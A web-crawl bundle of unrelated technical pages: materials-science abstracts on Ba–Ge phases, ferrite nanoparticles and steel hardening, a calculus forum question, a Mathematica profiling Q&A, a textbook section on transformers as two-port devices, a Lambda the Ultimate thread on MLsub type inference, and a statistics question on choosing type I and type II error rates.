17. Phase diagram of the Ge-rich of the Ba–Ge system and characterisation of single-phase BaGe{sub 4} Energy Technology Data Exchange (ETDEWEB) Prokofieva, Violetta K.; Pavlova, Lydia M., E-mail: [email protected] 2014-06-25 Highlights: • The Ba-Ge phase diagram for the range 50–100 at.% Ge was constructed. • Single-phase BaGe{sub 4} grown by the Czochralski method was characterised. • A phenomenological model for a liquid-liquid phase transition is proposed. - Abstract: The Ba–Ge binary system has been investigated by several authors, but some uncertainties remain regarding phases with Ba/Ge ⩽ 2. The goal of this work was to resolve the uncertainty about the current phase diagram of Ba–Ge by performing DTA, X-ray powder diffraction, metallographic and chemical analyses, and measurements of the electrical conductivity and viscosity. The experimental Ba–Ge phase diagram over the composition range of 50–100 at.% Ge was constructed from the cooling curves and single-phase BaGe{sub 4} grown by the Czochralski crystal pulling method was characterised. Semiconducting BaGe{sub 4} crystallised peritectically from the liquid phase near the eutectic. In the liquid state, the caloric effects were observed in the DTA curves at 1050 °C where there are no definite phase lines in the Ba–Ge phase diagram. These effects are confirmed by significant changes in the viscosity and electrical conductivity of a Ba–Ge alloy with eutectic composition at this temperature. A phenomenological model based on two different approaches, a phase approach and a chemical approach, is proposed to explain the isothermal liquid–liquid phase transition observed in the Ba–Ge system from the Ge side. Our results suggest that this transition is due to the peritectic reactions in the liquid phase. This reversible phase transition results in the formation of precursors of various metastable clathrate phases and is associated with sudden changes in the structure of Ba–Ge liquid alloys. Characteristics of both first- and second-order phase transitions are observed. Charge transfer appears to play an important role in this transition. 18. Structure and magnetic properties of ZnO coated MnZn ferrite nanoparticles Energy Technology Data Exchange (ETDEWEB) Mallesh, Shanigaram [Department of Physics, Indian Institute of Technology Madras, Chennai 600036 (India); Sunny, Annrose; Vasundhara, Mutta [Materials Science and Technology Division, CSIR-NIIST, Thiruvananthapuram, Kerala 695019 (India); Srinivas, Veeturi, E-mail: [email protected] [Department of Physics, Indian Institute of Technology Madras, Chennai 600036 (India) 2016-11-15 A comparative study of structural and magnetic properties of MnZn spinel ferrite (SF) and ZnO coated MnZn ferrite (ZF) nanoparticles (NPs) has been carried out. The as-prepared NPs show a single phase cubic spinel structure, with lattice parameter ~8.432 Å. However, α-Fe{sub 2}O{sub 3} impurity phase emerge from SF particles when subjected to annealing at 600 °C in air. The weight fraction of α-Fe{sub 2}O{sub 3} phase increases with increasing Mn concentration (9% for x=0.2 and 53% for x=0.6). On the other hand in ZF (x=0.2 and 0.4) NPs no trace of impurity phase is observed when annealed at 600 °C. The magnetic measurements as a function of field and temperature revealed superparamagnetic like behavior with cluster moment ~10{sup 4} μ{sub B} in as-prepared particles. The cluster size obtained from the magnetic data corroborates well with that estimated from structural analysis. Present results on ZnO coated MnZn ferrite particles suggest that an interfacial (ZnO@SF) reaction takes place during annealing, which results in formation of Zn-rich ferrite phase in the interface region. This leads to deterioration of magnetic properties even in the absence of α-Fe{sub 2}O{sub 3} impurity phase. - Highlights: • The properties of ZnO coated MnZn ferrite NPs are compared with uncoated NPs. • The structural data reveals that the ZnO shell protects ferrite core from degradation. • The field and temperature dependence of magnetization suggests SPM like behavior. • From the magnetic isotherms average cluster moment is estimated to be ~10{sup 4} μ{sub B.} • Magnetic data suggests formation of Zn-rich ferrite phase in interfacial region. 19. The effect of Y2O3 addition on thermal shock behavior of magnesium aluminate spinel Directory of Open Access Journals (Sweden) Pošarac Milica 2009-01-01 Full Text Available The effect of yttria additive on the thermal shock behavior of magnesium aluminate spinel has been investigated. As a starting material we used spinel (MgAl2O4 obtained by the modified glycine nitrate procedure (MGNP. Sintered products were characterized in terms of phase analysis, densities, thermal shock, monitoring the damaged surface area in the refractory specimen during thermal shock and ultrasonic determination of the Dynamic Young modulus of elasticity. It was found that a new phase between yttria and alumina is formed, which improved thermal shock properties of the spinel refractories. Also densification of samples is enhanced by yttria addition. 20. Generation of high spin state in the spinel Co3O4 nano-domains through interfacial induction International Nuclear Information System (INIS) Tay, S.W.; Hong Liang; Liu Zhaolin 2006-01-01 The heterogeneous complex oxide (1 - x)La-xSr-Co oxides (0.8 ≤ x ≤ 0.99), is observed to possess soft ferromagnetic behaviour at ambient temperature, whereas the corresponding perovskite La 1-x Sr x CoO 3-δ solid solution no longer owns magnetic trait at the same temperature. This complex oxide comprises primarily of spinel Co 3 O 4 phase, cubic SrO phase and perovskite La 1-α Sr α CoO 3-β (α 3 O 4 and pervoskite structure possess paramagnetic properties at room temperature, the unique ferromagnetic response is interpreted as the result of interfacial induction, presumably through the Jahn-Teller distortion that happened at the octahedral interstices of spinel Co 3 O 4 adjacent to the SrO phase. This perspective was further inferred by XRD, ESR and HR-TEM testing. The HR-TEM images exhibit the interpenetrating SrO and Co 3 O 4 phases with sizes in nano-scale. The existence of a sufficiently large interface is critical to ensure the induction effect to be detected experimentally. Such an extremely high extent of mixing was attained by pyrolysing the metallo-organic chelating gel containing the above three types of metal ions. Besides the interfacial induction effect, an optimum content of La 2 O 3 (1 - x = 0.05) has been verified to play a doping effect, which enhances the response of the spinel Co 3 O 4 nano-phase to the interfacial induction	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7447220683097839, "perplexity": 6857.17449485056}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-22/segments/1526794864572.13/warc/CC-MAIN-20180521235548-20180522015548-00159.warc.gz"}
http://mathhelpforum.com/calculus/203555-more-simple-differentiations.html	# Math Help - More simple differentiations 1. ## More simple differentiations How would one differentiate $y=\frac{(x+3)(x-8)}{x}$ I tried: $y=x^{-1}(x^2-5x-24)=x-5-24x^{-1}$ which is diffentiated to $1+24x^{-2}$ Is this right? Thanks for your time. 2. ## Re: More simple differentiations Originally Posted by Mukilab How would one differentiate $y=\frac{(x+3)(x-8)}{x}$ I tried: $y=x^{-1}(x^2-5x-24)=x-5-24x^{-1}$ which is diffentiated to $1+24x^{-2}$ Is this right? The work is correct.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 6, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8326635360717773, "perplexity": 11879.250684985884}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-07/segments/1454701159031.19/warc/CC-MAIN-20160205193919-00240-ip-10-236-182-209.ec2.internal.warc.gz"}
http://mathematica.stackexchange.com/questions/7768/profiling-from-mathematica	# Profiling from Mathematica I've always wished I could do some profiling like you get in Wolfram Workbench, but directly from Mathematica, without using or having Workbench. If it is possible, how can I do it? - Related question. – Leonid Shifrin Jul 1 '12 at 20:10 I love the Please help me! part – belisarius Jul 1 '12 at 20:23 also related stackoverflow.com/questions/4721171/… – belisarius Jul 1 '12 at 20:24 You can put your Mathematica session in debug mode by going to Evaluation->Debugger Then, make some definitions and wrap the profiled code in RuntimeToolsProfile For example, in debug mode, run f[x_] := x^2 Table[f[x], {100000}]; // RuntimeToolsProfile and you get a nice As @acl mentioned in the comments, clicking in the gray area in the output notebook's lines takes you to the related code - Any idea, why test[] := Module[{}, Print["Here"]; Pause[0.1]; Print["There"]; Pause[1]; Return[2]] and test[] // RuntimeToolsProfile does not work, even though your example works correctly? – Ajasja Jul 2 '12 at 8:37 Also, do you happen to know what RuntimeToolsProfileFunction does? – Ajasja Jul 2 '12 at 10:15 @Ajasja, sorry about the name ;). I am not sure. It don't think this profiler is without quirks. For starters, I think it doesn't account for Pauses, and without those pauses your code is too fast – Rojo Jul 2 '12 at 19:55 @Ajasja, I don't konw what that function does. It doesn't seem to be directly used by the profiler but, it seems to receive a matrix in which each row represents a function, the first column is the number of calls, the second the time taken overall, the third the code in question, and the fourth some number that relates either to the order of execution or something it uses to filter what to show. And returns the profiler notebook – Rojo Jul 2 '12 at 20:07 Unfortunately this solution does not seem to work for more complicated constructs, like funcitons called within Module, etc.. – Wizard Oct 17 '14 at 11:40	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2866355776786804, "perplexity": 3531.9284689887327}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-11/segments/1424936461647.44/warc/CC-MAIN-20150226074101-00121-ip-10-28-5-156.ec2.internal.warc.gz"}
https://phys.libretexts.org/Bookshelves/Electricity_and_Magnetism/Book%3A_Electromagnetics_I_(Ellingson)/08%3A_Time-Varying_Fields/8.06%3A_Transformers_as_Two-Port_Devices	# 8.6: Transformers as Two-Port Devices $$\newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} }$$ $$\newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}}$$$$\newcommand{\id}{\mathrm{id}}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\kernel}{\mathrm{null}\,}$$ $$\newcommand{\range}{\mathrm{range}\,}$$ $$\newcommand{\RealPart}{\mathrm{Re}}$$ $$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$ $$\newcommand{\Argument}{\mathrm{Arg}}$$ $$\newcommand{\norm}[1]{\\| #1 \\|}$$ $$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\id}{\mathrm{id}}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\kernel}{\mathrm{null}\,}$$ $$\newcommand{\range}{\mathrm{range}\,}$$ $$\newcommand{\RealPart}{\mathrm{Re}}$$ $$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$ $$\newcommand{\Argument}{\mathrm{Arg}}$$ $$\newcommand{\norm}[1]{\\| #1 \\|}$$ $$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$ $$\newcommand{\Span}{\mathrm{span}}$$$$\newcommand{\AA}{\unicode[.8,0]{x212B}}$$ Section 8.5 explains the principle of operation of the ideal transformer. The relationship governing the terminal voltages $$V_1$$ and $$V_2$$ was found to be $\frac{V_1}{V_2} = p\frac{N_1}{N_2} \nonumber$ where $$N_1$$ and $$N_2$$ are the number of turns in the associated coils and $$p$$ is either $$+1$$ or $$-1$$ depending on the relative orientation of the windings; i.e., whether the reference direction of the associated fluxes is the same or opposite, respectively. Figure $$\PageIndex{1}$$: The transformer as a two-port circuit device. We shall now consider ratios of current and impedance in ideal transformers, using the two-port model shown in Figure $$\PageIndex{1}$$. By virtue of the reference current directions and polarities chosen in this figure, the power delivered by the source $$V_1$$ is $$V_1 I_1$$, and the power absorbed by the load $$Z_2$$ is $$-V_2 I_2$$. Assuming the transformer windings have no resistance, and assuming the magnetic flux is perfectly contained within the core, the power absorbed by the load must equal the power provided by the source; i.e., $$V_1 I_1 = -V_2 I_2$$. Thus, we have1 $\boxed{ \frac{I_1}{I_2} = -\frac{V_2}{V_1} = -p\frac{N_2}{N_1} } \nonumber$ We can develop an impedance relationship for ideal transformers as follows. Let $$Z_1$$ be the input impedance of the transformer; that is, the impedance looking into port 1 from the source. Thus, we have \begin{aligned} Z_{1} & \triangleq \frac{V_{1}}{I_{1}} \\ &=\frac{+p\left(N_{1} / N_{2}\right) V_{2}}{-p\left(N_{2} / N_{1}\right) I_{2}} \\ &=-\left(\frac{N_{1}}{N_{2}}\right)^{2}\left(\frac{V_{2}}{I_{2}}\right) \end{aligned} In Figure $$\PageIndex{1}$$, $$Z_2$$ is the the output impedance of port 2; that is, the impedance looking out port 2 into the load. Therefore, $$Z_2 = -V_2/I_2$$ (once again the minus sign is a result of our choice of sign conventions in Figure $$\PageIndex{1}$$). Substitution of this result into the above equation yields $Z_1 = \left(\frac{N_1}{N_2}\right)^2 Z_2 \nonumber$ and therefore $\boxed{ \frac{Z_1}{Z_2} = \left(\frac{N_1}{N_2}\right)^2 } \nonumber$ Thus, we have demonstrated that a transformer scales impedance in proportion to the square of the turns ratio $$N_1/N_2$$. Remarkably, the impedance transformation depends only on the turns ratio, and is independent of the relative direction of the windings ($$p$$). The relationships developed above should be viewed as AC expressions, and are not normally valid at DC. This is because transformers exhibit a fundamental limitation in their low-frequency performance. To see this, first recall Faraday’s Law: $V = - N \frac{\partial}{\partial t} \Phi \nonumber$ If the magnetic flux $$\Phi$$ is not time-varying, then there is no induced electric potential, and subsequently no linking of the signals associated with the coils. At very low but non-zero frequencies, we encounter another problem that gets in the way – magnetic saturation. To see this, note we can obtain an expression for $$\Phi$$ from Faraday’s Law by integrating with respect to time, yielding $\Phi(t) = -\frac{1}{N}\int_{t_0}^{t}V(\tau)d\tau + \Phi(t_0) \nonumber$ where $$t_0$$ is some earlier time at which we know the value of $$\Phi(t_0)$$. Let us assume that $$V(t)$$ is sinusoidally-varying. Then the peak value of $$\Phi$$ after $$t=t_0$$ depends on the frequency of $$V(t)$$. If the frequency of $$V(t)$$ is very low, then $$\Phi$$ can become very large. Since the associated cross-sectional areas of the coils are presumably constant, this means that the magnetic field becomes very large. The problem with that is that most practical high-permeability materials suitable for use as transformer cores exhibit magnetic saturation; that is, the rate at which the magnetic field is able to increase decreases with increasing magnetic field magnitude (see Section 7.16). The result of all this is that a transformer may work fine at (say) 1 MHz, but at (say) 1 Hz the transformer may exhibit an apparent loss associated with this saturation. Thus, practical transformers exhibit highpass frequency response. It should be noted that the highpass behavior of practical transistors can be useful. For example, a transformer can be used to isolate an undesired DC offset and/or low-frequency noise in the circuit attached to one coil from the circuit attached to the other coil. The DC-isolating behavior of a transformer also allows the transformer to be used as a balun, as illustrated in Figure $$\PageIndex{2}$$. A balun is a two-port device that transforms a single-ended (“unbalanced”) signal – that is, one having an explicit connection to a datum (e.g., ground) – into a differential (“balanced”) signal, for which there is no explicit connection to a datum. Differential signals have many benefits in circuit design, whereas inputs and outputs to devices must often be in single-ended form. Thus, a common use of transformers is to effect the conversion between single-ended and differential circuits. Although a transformer is certainly not the only device that can be used as a balun, it has one very big advantage, namely bandwidth. Figure $$\PageIndex{2}$$: Transformers used to convert a singleended (“unbalanced”) signal to a differential (balanced) signal, and back. (© CC BY SA 3.0 (modified); SpinningSpark) 1. The minus signs in this equation are a result of the reference polarity and directions indicated in Figure $$\PageIndex{1}$$. These are more-or-less standard in electrical two-port theory (see “Additional Reading” at the end of this section), but are certainly not the only reasonable choice. If you see these expressions without the minus signs, it probably means that a different combination of reference directions/polarities is in effect.↩	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9117037653923035, "perplexity": 485.76794736532247}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337421.33/warc/CC-MAIN-20221003133425-20221003163425-00256.warc.gz"}
http://lambda-the-ultimate.org/node/5393	## Polymorphism, subtyping and type inference in MLsub I am very enthusiastic about the following paper: it brings new ideas and solves a problem that I did not expect to be solvable, namely usable type inference when both polymorphism and subtyping are implicit. (By "usable" here I mean that the inferred types are both compact and principal, while previous work generally had only one of those properties.) Polymorphism, Subtyping, and Type Inference in MLsub Stephen Dolan and Alan Mycroft 2017 We present a type system combining subtyping and ML-style parametric polymorphism. Unlike previous work, our system supports type inference and has compact principal types. We demonstrate this system in the minimal language MLsub, which types a strict superset of core ML programs. This is made possible by keeping a strict separation between the types used to describe inputs and those used to describe outputs, and extending the classical unification algorithm to handle subtyping constraints between these input and output types. Principal types are kept compact by type simplification, which exploits deep connections between subtyping and the algebra of regular languages. An implementation is available online. The paper is full of interesting ideas. For example, one idea is that adding type variables to the base grammar of types -- instead of defining them by their substitution -- forces us to look at our type systems in ways that are more open to extension with new features. I would recommend looking at this paper even if you are interested in ML and type inference, but not subtyping, or in polymorphism and subtyping, but not type inference, or in subtyping and type inference, but not functional languages. This paper is also a teaser for the first's author PhD thesis, Algebraic Subtyping. There is also an implementation available. (If you are looking for interesting work on inference of polymorphism and subtyping in object-oriented languages, I would recommend Getting F-Bounded Polymorphism into Shape by Ben Greenman, Fabian Muehlboeck and Ross Tate, 2014.) ## Comment viewing options ### Cool paper This is indeed awesome work, and I'm glad to finally see it published as it deserves. In case you'll miss POPL'17, Stephen Dolan already gave a talk about it at last year's (2015) ML workshop, which can be watched here. ### Looks neat indeed. Looks neat indeed. Interesting that a real solution to subtyping was found by sort of redefining the language describing the problem, ie. type variables no longer quantify over ground types solves many of the earlier difficulties in integrating subtyping. The type syntax for MLSub actually looks simple enough to use by mere mortals too. Also neat that MLSub can type the self-application function, which isn't possible in ML. ### Unneat Also neat that MLSub can type the self-application function, which isn't possible in ML. That's a very persistent myth. It is easily possible in ML if you choose to make it so via equi-recursive function types. Problem is, in practice, you don't want this! Because many plain bugs become well-typed and lead to obscure errors downstream. See OCaml's -rectypes option, which was the default initially but was turned into an option because users complained. MLsub probably has this very problem. ### Restrict subtyping to fine types First, let me agree that this paper looks awesome - great bang/buck. I think your particular complaint here points to a need for better UX around subtyping. "Matrix or String" isn't a very useful inferred type, either. I think we need coarse types that unify by equality to rule out nonsense like this example or self-application with fine types that support subtyping. ### Recursive types and type errors Actually, MLsub types the self-application function nonrecursively, as ((a -> b) & a) -> b. You can call that passing e.g. a constant function returning integers (type Top -> int) and get back an integer, all without recursive types. Self-applying self-application does use recursive types, though, as you'd expect. You're right about this making weird code become well-typed. MLsub is pretty willing to give a strange type to bad code, especially if you use currying pervasively (currying always interprets missing arguments as partial application, which can generate weird function types. Implementing multiple argument functions with tuples turns missing arguments into type errors). On the other hand, I've found that the downstream type errors are less obscure than in unification-based systems. Because subtyping keeps track of the direction of data flow, type errors can always be explained by showing an introduction form in the program, a series of data-flow steps (e.g. from a variable's binding to its use), and then an elimination form into which the value doesn't fit. So, compared to ML, more buggy definitions are initially accepted, but when you try to use them the type error makes more sense. I've not written large enough programs to know how the tradeoff pans out, though. ### Thesis draft and implementation Stephen's thesis draft and implementation are available online. ### Thanks I updated the top post to include the links. I am currently reading Dolan's thesis and though I can make sense of the concepts I cannot make sense of some notations, namely in section 5.3.1 page 81 the definition of a bisubstitution: θ = [μ−β.α u [β/α−](t−)/α−] The square brackets seem used both to denote the typing schemes as in [D-]t+ and substitutions proper as ξ = [t+/α+, t−/α−] In the above θ what binds to what? Is [β/α−](t−) a typing scheme? Why does /α− appear TWICE with a different left hand side? That would be binding the same α− to two different values??? Is the overall expression to be read: [ (μ−β.α u [β/α−](t−)) /α−] Or: [μ−β.α u ([β/α−](t−))/α−) ] Or something else? ### Bisubstitution It is the first interpretation you propose $$\left[ \left(\mu^{-}\beta. \left(\alpha \sqcap [\beta/\alpha^{-}]t^{-}\right)\right) / \alpha^{-} \right]$$ which is built in the following way. You start from the bisubstitution representing the "naive" solution $$[ (\alpha \sqcap t^{-}) / \alpha^{-} ]$$ but then you want to replace occurrences of $$\alpha$$ within $$t^{-}$$ by the solution $$\alpha \sqcap t^{-}$$; the solution to this recursive replacement problem would be a type $$u^{-}$$ defined by the following recursive equation $$u^{-} = \alpha \sqcap [u^{-}/\alpha^{-}]t^{-}$$ which is precisely what you get using a $$\mu$$-type $$\mu \beta.\ \alpha \sqcap [\beta/\alpha^{-}]t^{-}$$ so you get the final bisubstitution $$[ \mu^- \beta. \alpha \sqcap [\beta/\alpha^-]t^- / \alpha^- ]$$ (note: in LtU I write this code with $$[ \mu^- \beta. \alpha \sqcap [\beta/\alpha^-]t^- / \alpha^- ]$$ .) ### Thank you very much. Thank you very much. ### Bisubstitution This explanation is much better than mine :) In section 10.2.3 (ad-hoc polymorphism) on page 142 of Stephen Dolan's thesis, the claim is made that the following rule holds for SubML: $$(t_1 \sqcup t_1') \to (t_2 \sqcap t_2') = (t_1 \to t_2) \sqcap (t'_1 \to t_2')$$ An example is given that shows that this doesn't hold in languages with ad hoc polymorphism (in the form of typecase). But it looks like this property doesn't hold for refinement types, either. Choose: $$t_1 = t_2 = Int \{ \geq 0 \}$$ $$t'_1 = t'_2 = Int \{ \leq 0 \}$$ Then the identity function is an element of the RHS of the rule above but not an element of the LHS (which would need to map all of Int to the singleton zero). My question is whether someone can explain/characterize why this should work for "well behaved" type systems and why refinement types aren't well behaved in this sense.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 2, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5343472361564636, "perplexity": 1982.5658586849825}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618039626288.96/warc/CC-MAIN-20210423011010-20210423041010-00046.warc.gz"}
https://stats.stackexchange.com/questions/305606/how-to-determine-the-optimal-ratio-of-a-type-i-and-type-ii-error-in-a-given-busi	# How to determine the optimal ratio of a type I and type II error in a given business context? [closed] Let us assume I have developed two designs (A, B) of a product and I want to see which one performs better in terms of sales. So I run an experiment where some customers can buy A whilst others can buy B. This gives me two means (e. g. the A-customers bought on average 5x, the B-customers 7x) with which I perform a t-test. Let us further assume that the consequences of a type I error and a type II error are as follows: • type I error: I change the design of the product but (contrary to what I believe) this has absolutely no effect on sales. • type II error: I do not change the product's design although I should have done so because it would have earned me some additional cash, say $100 in each of the upcoming months. Under the assumption that changing the manufacturing process to produce the new design creates no additional costs, the type II error is obviously more critical than the type I error. So my inclination would be to set the significance level$\alpha$higher than the usual$\alpha=0.05$and certainly higher than$\beta$(which of course I have to control via$n$and the effect size). But by how much? What would be the optimal ratio$q=\beta/\alpha$? EDIT: @whuber You seem to think that my question is unclear in a general sense or needs a data background, but the exact same question is also discussed elsewhere, see for example Which Statistical Error Is Worse: Type 1 or Type 2? (albeit without the concrete business context I'm offering here). 2. EDIT: Here is a study that tackles the above problem: Setting an Optimal α That Minimizes Errors in Null Hypothesis Significance Tests. ## closed as unclear what you're asking by whuber♦Sep 29 '17 at 19:38 Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question. • Is there enough information given here to make this a reasonable question? If your alternatives are between having no effect on sales and possibly having a positive effect, with no costs for either option, then by all means choose the latter! You don't need any data or statistical analysis to make that decision. But what about the possibility that after changing the product's design it earns you less profit? – whuber Sep 29 '17 at 19:33 • My question clearly is not about choosing between two options as your comment indicates. It is about how to chose the test parameters. – Joe Sep 29 '17 at 19:38 • Then you need to provide definitions of what you mean, because the usual meanings of "Type I" and "Type II" errors are associated with decisions that are made based on the data. – whuber Sep 29 '17 at 19:38 • Normally reasearches are advised to chose$\alpha=0.05$and$\beta = 0.2$which amounts to$q=4$(e. g. andrews.edu/~calkins/math/edrm611/edrm11.htm). This might be a good choice in research fields where falsely rejecting the null is worse than falsely sticking to it. But in the above case$q=4$is obviously not well chosen. My question is how to chose$q\$ there. – Joe Sep 29 '17 at 19:48 • In a very clearly optimizing the expected profit setting like you describe hypothesis testing may be the wrong approach. A decision theoretic approach would seem more logical and decision boundaries may not correspond to any fixed traditional error rates. – Björn Sep 30 '17 at 6:04	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.44490885734558105, "perplexity": 498.1826141790107}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-47/segments/1542039749562.99/warc/CC-MAIN-20181121173523-20181121195523-00548.warc.gz"}
https://worldwidescience.org/topicpages/h/hardening+conditions+increased.html	#### Sample records for hardening conditions increased 1. Influence of Cooling Condition on the Performance of Grinding Hardened Layer in Grind-hardening Science.gov (United States) Wang, G. C.; Chen, J.; Xu, G. Y.; Li, X. 2018-02-01 45# steel was grinded and hardened on a surface grinding machine to study the effect of three different cooling media, including emulsion, dry air and liquid nitrogen, on the microstructure and properties of the hardened layer. The results show that the microstructure of material surface hardened with emulsion is pearlite and no hardened layer. The surface roughness is small and the residual stress is compressive stress. With cooling condition of liquid nitrogen and dry air, the specimen surface are hardened, the organization is martensite, the surface roughness is also not changed, but high hardness of hardened layer and surface compressive stress were obtained when grinding using liquid nitrogen. The deeper hardened layer grinded with dry air was obtained and surface residual stress is tensile stress. This study provides an experimental basis for choosing the appropriate cooling mode to effectively control the performance of grinding hardened layer. 2. Conditions for pseudo strain-hardening in fiber reinforced brittle matrix composites International Nuclear Information System (INIS) Li, V.C.; Wu, H.W. 1992-01-01 Apart from imparting increased fracture toughness, one of the useful purposes of reinforcing brittle matrices with fibers is to create enhanced composite strain capacity. This paper reviews the conditions underwhich such a composite will exhibit the pseudo strain-hardening phenomenon. The presentation is given in a unified manner for both continuous aligned and discontinuous random fiber composites. It is demonstrated that pseudo strain hardening can be practically designed for both gills of composites by proper tailoring of material structures. 18 refs., 8 figs., 2 tabs 3. The effect of austenitizing conditions in the ductile iron hardening process on longitudinal ultrasonic wave velocity Directory of Open Access Journals (Sweden) A. W. Orłowicz 2014-04-01 Full Text Available The paper presents results of a research on the effect of austenitizing temperature and time adopted in the hardening operation on the ultrasonic wave velocity in ductile iron. It has been found that with increasing austenitizing temperature and with the passage of the austenitizing time, a monotonic decrease of the ultrasonic longitudinal wave velocity value occurred. Implementation of ultrasonic testing of results obtained in the course of the cast iron hardening process both in production and as-cast conditions, requires development of a test methodology that must take into account the influence of base material structure (degree of nodularization, graphite precipitation count on the ultrasound wave velocity. 4. The effects of induction hardening on wear properties of AISI 4140 steel in dry sliding conditions International Nuclear Information System (INIS) Totik, Y.; Sadeler, R.; Altun, H.; Gavgali, M. 2002-01-01 Wear behaviour of induction hardened AISI 4140 steel was evaluated under dry sliding conditions. Specimens were induction hardened at 1000 Hz for 6, 10, 14, 